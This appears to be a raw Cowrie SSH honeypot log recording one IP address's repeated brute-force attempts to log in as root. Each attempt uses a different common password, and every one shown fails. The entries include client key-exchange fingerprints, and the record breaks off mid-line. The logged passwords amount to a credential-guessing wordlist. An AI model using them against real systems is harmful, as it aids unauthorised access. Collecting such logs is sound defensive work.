{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:10.624357Z","src_ip":"60.165.124.241","session":"8e098b1afd27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51796,"dst_ip":"10.17.0.5","dst_port":22,"session":"74ab1ec1d857","protocol":"ssh","message":"New connection: 60.165.124.241:51796 (10.17.0.5:22) [session: 74ab1ec1d857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:10.860387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:10.864927Z","src_ip":"60.165.124.241","session":"74ab1ec1d857","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:11.105352Z","src_ip":"60.165.124.241","session":"74ab1ec1d857","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qazwsx123.","message":"login attempt [root/Qazwsx123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:11.823799Z","src_ip":"60.165.124.241","session":"74ab1ec1d857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:13.064719Z","src_ip":"60.165.124.241","session":"74ab1ec1d857","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54780,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a93a31f8ba7","protocol":"ssh","message":"New connection: 60.165.124.241:54780 (10.17.0.5:22) [session: 4a93a31f8ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:13.300515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:13.304817Z","src_ip":"60.165.124.241","session":"4a93a31f8ba7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:13.542438Z","src_ip":"60.165.124.241","session":"4a93a31f8ba7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123!@#","message":"login attempt [root/Qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:14.277970Z","src_ip":"60.165.124.241","session":"4a93a31f8ba7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:15.518905Z","src_ip":"60.165.124.241","session":"4a93a31f8ba7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57684,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f1b02671afc","protocol":"ssh","message":"New connection: 60.165.124.241:57684 (10.17.0.5:22) [session: 3f1b02671afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:15.756910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:15.761647Z","src_ip":"60.165.124.241","session":"3f1b02671afc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:15.999804Z","src_ip":"60.165.124.241","session":"3f1b02671afc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test_1234","message":"login attempt [root/Test_1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:16.725136Z","src_ip":"60.165.124.241","session":"3f1b02671afc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:17.971919Z","src_ip":"60.165.124.241","session":"3f1b02671afc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60478,"dst_ip":"10.17.0.5","dst_port":22,"session":"4391ed5271a3","protocol":"ssh","message":"New connection: 60.165.124.241:60478 (10.17.0.5:22) [session: 4391ed5271a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:18.205616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:18.211200Z","src_ip":"60.165.124.241","session":"4391ed5271a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:18.452251Z","src_ip":"60.165.124.241","session":"4391ed5271a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yourpassword","message":"login attempt [root/yourpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:19.194490Z","src_ip":"60.165.124.241","session":"4391ed5271a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:20.437065Z","src_ip":"60.165.124.241","session":"4391ed5271a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35200,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d3c41f365f6","protocol":"ssh","message":"New connection: 60.165.124.241:35200 (10.17.0.5:22) [session: 4d3c41f365f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:20.671122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:20.676399Z","src_ip":"60.165.124.241","session":"4d3c41f365f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:20.917884Z","src_ip":"60.165.124.241","session":"4d3c41f365f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alcatel","message":"login attempt [root/alcatel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:21.638120Z","src_ip":"60.165.124.241","session":"4d3c41f365f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:22.885540Z","src_ip":"60.165.124.241","session":"4d3c41f365f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37914,"dst_ip":"10.17.0.5","dst_port":22,"session":"91c367ec01e5","protocol":"ssh","message":"New connection: 60.165.124.241:37914 (10.17.0.5:22) [session: 91c367ec01e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:23.127602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:23.135382Z","src_ip":"60.165.124.241","session":"91c367ec01e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:23.380776Z","src_ip":"60.165.124.241","session":"91c367ec01e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14531453","message":"login attempt [root/14531453] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:24.347521Z","src_ip":"60.165.124.241","session":"91c367ec01e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:25.586440Z","src_ip":"60.165.124.241","session":"91c367ec01e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41422,"dst_ip":"10.17.0.5","dst_port":22,"session":"a285dc9ff514","protocol":"ssh","message":"New connection: 60.165.124.241:41422 (10.17.0.5:22) [session: a285dc9ff514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:25.818443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:25.823390Z","src_ip":"60.165.124.241","session":"a285dc9ff514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:26.073674Z","src_ip":"60.165.124.241","session":"a285dc9ff514","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345@","message":"login attempt [root/Abc12345@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:26.806009Z","src_ip":"60.165.124.241","session":"a285dc9ff514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:28.062683Z","src_ip":"60.165.124.241","session":"a285dc9ff514","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44266,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9c296ba7c1a","protocol":"ssh","message":"New connection: 60.165.124.241:44266 (10.17.0.5:22) [session: b9c296ba7c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:28.302464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:28.307285Z","src_ip":"60.165.124.241","session":"b9c296ba7c1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:28.561211Z","src_ip":"60.165.124.241","session":"b9c296ba7c1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19901017","message":"login attempt [root/19901017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:29.318285Z","src_ip":"60.165.124.241","session":"b9c296ba7c1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:30.574039Z","src_ip":"60.165.124.241","session":"b9c296ba7c1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47164,"dst_ip":"10.17.0.5","dst_port":22,"session":"c232a845faac","protocol":"ssh","message":"New connection: 60.165.124.241:47164 (10.17.0.5:22) [session: c232a845faac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:30.835989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:30.840107Z","src_ip":"60.165.124.241","session":"c232a845faac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256